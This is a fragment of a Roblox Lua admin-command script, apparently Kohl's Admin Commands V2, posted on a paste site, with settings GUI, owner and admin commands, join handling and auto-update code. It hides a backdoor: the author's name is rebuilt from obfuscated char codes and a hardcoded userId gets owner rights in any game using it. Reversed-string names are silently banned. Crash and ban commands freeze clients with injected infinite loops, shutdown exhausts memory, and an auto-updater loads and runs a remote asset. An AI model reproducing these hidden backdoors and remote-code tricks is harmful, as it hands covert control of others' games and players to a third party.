  2211. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2212. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2213. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2214. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2215. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2216. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2217. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2218. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2219. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2220. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2221. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2222. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2223. end
  2224.  
  2225. end
  2226.  
  2227. --------------------
  2228. -- Owner Commands --
  2229. --------------------
  2230.  
  2231. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2232.  
  2233. if msg:lower():sub(1,3) == "pa " then
  2234. local plrz = GetPlr(plr, msg:lower():sub(4))
  2235. for i, v in pairs(plrz) do
  2236. coroutine.resume(coroutine.create(function()
  2237. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2238. end))
  2239. end
  2240. end
  2241.  
  2242. if msg:lower():sub(1,5) == "unpa " then
  2243. for i = 1, #admins do
  2244. coroutine.resume(coroutine.create(function()
  2245. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2246. end))
  2247. end
  2248. end
  2249.  
  2250. if msg:lower():sub(1,5) == "nuke " then
  2251. local plrz = GetPlr(plr, msg:lower():sub(6))
  2252. for i, v in pairs(plrz) do
  2253. coroutine.resume(coroutine.create(function()
  2254. if v and v.Character and v.Character:findFirstChild("Torso") then
  2255. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2256. p.Anchored = true
  2257. p.CanCollide = false
  2258. p.formFactor = "Symmetric"
  2259. p.Shape = "Ball"
  2260. p.Size = Vector3.new(1,1,1)
  2261. p.BrickColor = BrickColor.new("New Yeller")
  2262. p.Transparency = .5
  2263. p.Reflectance = .2
  2264. p.TopSurface = 0
  2265. p.BottomSurface = 0
  2266. p.Touched:connect(function(hit)
  2267. if hit and hit.Parent then
  2268. local ex = Instance.new("Explosion", game.Workspace)
  2269. ex.Position = hit.Position
  2270. ex.BlastRadius = 11
  2271. ex.BlastPressure = math.huge
  2272. end
  2273. end)
  2274. local cf = v.Character.Torso.CFrame
  2275. p.CFrame = cf
  2276. for i = 1, 333 do
  2277. p.Size = p.Size + Vector3.new(3,3,3)
  2278. p.CFrame = cf
  2279. wait(1/44)
  2280. end
  2281. p:Destroy()
  2282. end
  2283. end))
  2284. end
  2285. end
  2286.  
  2287. end
  2288.  
  2289. --------------------------
  2290. -- Super Admin Commands --
  2291. --------------------------
  2292.  
  2293. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2294.  
  2295. if msg:lower() == "logs" then
  2296. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2297. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2298. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2299. end
  2300.  
  2301. if msg:lower():sub(1,9) == "loopkill " then
  2302. local chk1 = msg:lower():sub(10):find(" ")
  2303. local plrz = GetPlr(plr, msg:lower():sub(10))
  2304. local num = 9999
  2305. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2306. for i, v in pairs(plrz) do
  2307. if v and not ChkAdmin(v.Name, false) then
  2308. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2309. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2310. for i = 1, ]] .. tostring(num) .. [[ do
  2311. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2312. coroutine.resume(coroutine.create(function()
  2313. if plr and plr.Character then plr.Character:BreakJoints() end
  2314. end))
  2315. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2316. end
  2317. end
  2318. end
  2319.  
  2320. if msg:lower():sub(1,11) == "unloopkill " then
  2321. local plrz = GetPlr(plr, msg:lower():sub(12))
  2322. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2323. end
  2324.  
  2325. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2326. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2327.  
  2328. if msg:lower():sub(1,3) == "sm " then
  2329. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2330. end
  2331.  
  2332. if msg:lower():sub(1,3) == "ko " then
  2333. local chk1 = msg:lower():sub(4):find(" ") + 3
  2334. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2335. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2336. for n = 1, num do
  2337. for i, v in pairs(plrz) do
  2338. coroutine.resume(coroutine.create(function()
  2339. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2340. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2341. v.Character:BreakJoints()
  2342. wait(1/44)
  2343. v:LoadCharacter()
  2344. wait(1/44)
  2345. end
  2346. end))
  2347. end
  2348. end
  2349. end
  2350.  
  2351. if msg:lower():sub(1,6) == "crash " then
  2352. local plrz = GetPlr(plr, msg:lower():sub(7))
  2353. for i, v in pairs(plrz) do
  2354. coroutine.resume(coroutine.create(function()
  2355. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2356. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2357. end
  2358. end))
  2359. end
  2360. end
  2361.  
  2362. if msg:lower():sub(1,5) == "kick " then
  2363. local plrz = GetPlr(plr, msg:lower():sub(6))
  2364. for i, v in pairs(plrz) do
  2365. coroutine.resume(coroutine.create(function()
  2366. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2367. end))
  2368. end
  2369. end
  2370.  
  2371. if msg:lower():sub(1,6) == "admin " then
  2372. local plrz = GetPlr(plr, msg:lower():sub(7))
  2373. for i, v in pairs(plrz) do
  2374. coroutine.resume(coroutine.create(function()
  2375. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2376. end))
  2377. end
  2378. end
  2379.  
  2380. if msg:lower():sub(1,8) == "unadmin " then
  2381. for i = 1, #tempadmins do
  2382. coroutine.resume(coroutine.create(function()
  2383. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2384. end))
  2385. end
  2386. end
  2387.  
  2388. if msg:lower():sub(1,4) == "ban " then
  2389. local plrz = GetPlr(plr, msg:lower():sub(5))
  2390. for i, v in pairs(plrz) do
  2391. coroutine.resume(coroutine.create(function()
  2392. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2393. end))
  2394. end
  2395. end
  2396.  
  2397. if msg:lower():sub(1,6) == "unban " then
  2398. for i = 1, #banland do
  2399. coroutine.resume(coroutine.create(function()
  2400. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2401. end))
  2402. end
  2403. end
  2404.  
  2405. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2406.  
  2407. end
  2408. end))
  2409. end
  2410.  
  2411. function AdminControl(plr)
  2412. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2413. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2414. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2415. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2416. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2417. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2418. end)) end
  2419. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2420. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2421. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2422. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2423. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2424. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2425. end
  2426.  
  2427. if not ntab then script:Destroy() end
  2428. if not bct then script:Destroy() end
  2429.  
  2430. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2431.  
  2432.  
  2433. if not ntab then script:Destroy() end
  2434. if not bct then script:Destroy() end
  2435. if not tcb then script:Destroy() end
  2436. game.Players.PlayerAdded:connect(AdminControl)
  2437. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2438. end
  2439.  
  2440. local mod = game:service("InsertService"):LoadAsset(100808216)
  2441. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2442. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2443. newac.Disabled = true
  2444. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2445. local old = 137
  2446. if new > old then
  2447. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2448. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2449. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2450. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2451. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2452. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2453. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2454. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2455. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2456. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2457. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2458. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2459. wait()
  2460. newac.Parent = game.Workspace
  2461. newac.Disabled = false
  2462. script.Disabled = true
  2463. script:Destroy()
  2464. else
  2465. CHEESE()
  2466. end
  2467. else
  2468. CHEESE()
  2469. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement